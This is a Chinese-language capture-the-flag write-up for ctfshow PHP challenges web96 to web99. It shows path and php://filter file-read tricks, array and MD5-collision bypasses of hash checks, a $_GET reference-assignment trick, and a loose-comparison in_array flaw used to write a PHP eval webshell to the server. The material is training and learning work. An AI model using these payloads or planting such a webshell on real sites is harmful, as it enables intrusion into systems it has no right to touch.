目錄
1、web96
2、web97
3、web98
4、web99
1、web96
試了下通配、轉義、拼接、大小寫都不行
這里使用絕對路徑或者當前路徑繞過:
?u=./flag.php
?u=/var/www/html/flag.php
還可以使用 php 偽協議:
?u=php://filter/resource=flag.php
2、web97
關于 sha1 和 md5 的繞過可以參考我之前的博客:
PHP特性之CTF中常見的PHP繞過-CSDN博客
(1)對于php強比較和弱比較:md5() 和 sha1() 函數無法處理數組,如果傳入的為數組,會返回NULL,兩個數組經過加密后得到的都是NULL,也就是相等的。
使用數組繞過,payload:
a[]=1&b[]=2
拿到 flag:ctfshow{2e3efa82-aa01-4871-b26d-7b8cd6b1d449}
(2)對于某些特殊的字符串加密后得到的密文以0e開頭,PHP會當作科學計數法來處理,也就是0的n次方,得到的值比較的時候都相同。
下面是常見的加密后密文以0e開頭的字符串:
md5:240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361sha1:10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799
但是這里并不是弱比較,因此該方法不行:
對于 md5 強碰撞,我們需要找到兩個 md5 值真正相同的數據。
(1)
十六進制格式的兩個不同字符串:
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
兩者都有 MD5 哈希:?
008ee33a9d58b51cfeb425b0959121c9
(2)
0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef
0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef
兩者都有 MD5 哈希:
cee9a457e790cf20d4bdaa6d69f01e41
但是這些十六進制里存在一些不可見字符:?
因此我們采用?url 編碼來構造 payload:?
有點奇怪我這里順著轉出來和下面的 payload 有點差別,但是下面的 payload 逆著轉回去又是和上面的十六進制值完全一樣。
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
后面又看了一下:
開頭 M 之后的字符確實應該被轉成 %C9 才是對的
但是?%C3%89 也是轉成這個東西
按照這樣轉出來的 payload 打不通,還是要使用上面給的那個 %C9 的payload。
3、web98
這里出現了 PHP 中的三元運算符:形如 XXXX?XX:xx
如果條件 XXXX 成立,則執行冒號前邊的 XX,否則執行冒號后面的 xx
比如:isset($_GET['id']) ? $_GET['id'] : 1;
isset()函數用于檢查變量是否設置,如果設置了,則 id=$_GET['id'],否則 id=1。
接下來我們分析下題目代碼:
$_GET?$_GET=&$_POST:'flag';
$_GET 變量是一個數組,預定義的 $_GET 變量用于收集來自 method="get" 的表單中的值,表單域的名稱會自動成為 $_GET 數組中的鍵。
如果 $_GET 不為空,也就是說我們進行了 get 傳參,那么就會通過 $_GET = &$_POST 將 $_POST 的引用賦值給 $_GET,引用賦值導致兩個變量指向同一個內存地址,而 $_POST 變量內容改變會影響 $_GET 變量的內容;如果 $_GET 為空則返回? 'flag'。
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
中間的兩段代碼其實沒什么影響,都是根據 get 請求變量 flag 值是否為 'flag',是的話就進行引用賦值,不是的話就返回 'flag',我們只想獲取 $flag。
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
判斷 get 請求變量 HTTP_FLAG 值是否為 'flag',是就輸出 $flag,不是則返回當前腳本的絕對路徑和文件名。
payload:
?HTTP_FLAG=flag
post:
HTTP_FLAG=flag
拿到 flag:ctfshow{ba1bc737-de2f-45f5-9e24-a65bec06b0f9}
當然這里的 get 請求其實可以是隨意的,由于第一段代碼的引用賦值,post 進去的內容會直接替代掉?get 的內容,因此只要存在 get 請求即可觸發。
4、web99
代碼審計:
$allow = array();
創建了一個空數組 $allow,用來存儲后續生成的隨機數。
for ($i=36; $i < 0x36d; $i++) {
for 循環,從 $i 初始化為 36,逐步增加直到 0x36d(十六進制表示的 877)。
array_push($allow, rand(1,$i));
在每次循環中,使用 rand(1, $i) 函數生成一個 1 到 $i 之間的隨機數(也就是 1~877),并將其添加到 $allow 數組中。
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
檢查是否設置了名為 n 的 GET 參數,并且確保它的值在 $allow 數組中。
file_put_contents($_GET['n'], $_POST['content']);
如果 $_GET['n'] 的值在 $allow 數組中,將 $_POST['content'] 的內容寫入文件 $_GET['n'] 中。
?
接下來我們先看一個關于 in_array 函數的小測試:
<?php
$allow = [1,2,3];
$a = '2.php';
echo in_array($a,$allow)
?>
結論:in_array() 函數存在弱比較的漏洞,如果沒有設置第三個參數,in_array() 函數在比較時默認是弱類型比較,這意味著它會進行自動類型轉換。例如數組中的元素是整數,而搜索的值是字符串,PHP 會嘗試將字符串轉換為整數來進行比較。比如上面字符串類型的 1.php 就自動轉換為了整數?1,也就符合在數組中的條件。
關于 in_array() 函數的參數和用法:
參數 | 描述 |
---|---|
needle | 必需。規定要在數組搜索的值。 |
haystack | 必需。規定要搜索的數組。 |
strict | 可選。如果該參數設置為 TRUE,則 in_array() 函數檢查搜索的數據與數組的值的類型是否相同。 |
因此我們的文件名的數字只要符合在 1~877 之間,理論上來說就都可以寫入一句話木馬。
保險起見我們使用大概率會出現的,比如 1 ,多試幾次。
寫入一句話木馬
get:
?n=1.php
post:
content=<?=eval($_REQUEST['1'])?>
調用:
讀取 flag:
ctfshow{d3a99707-235d-4b10-a9e7-551000feba02}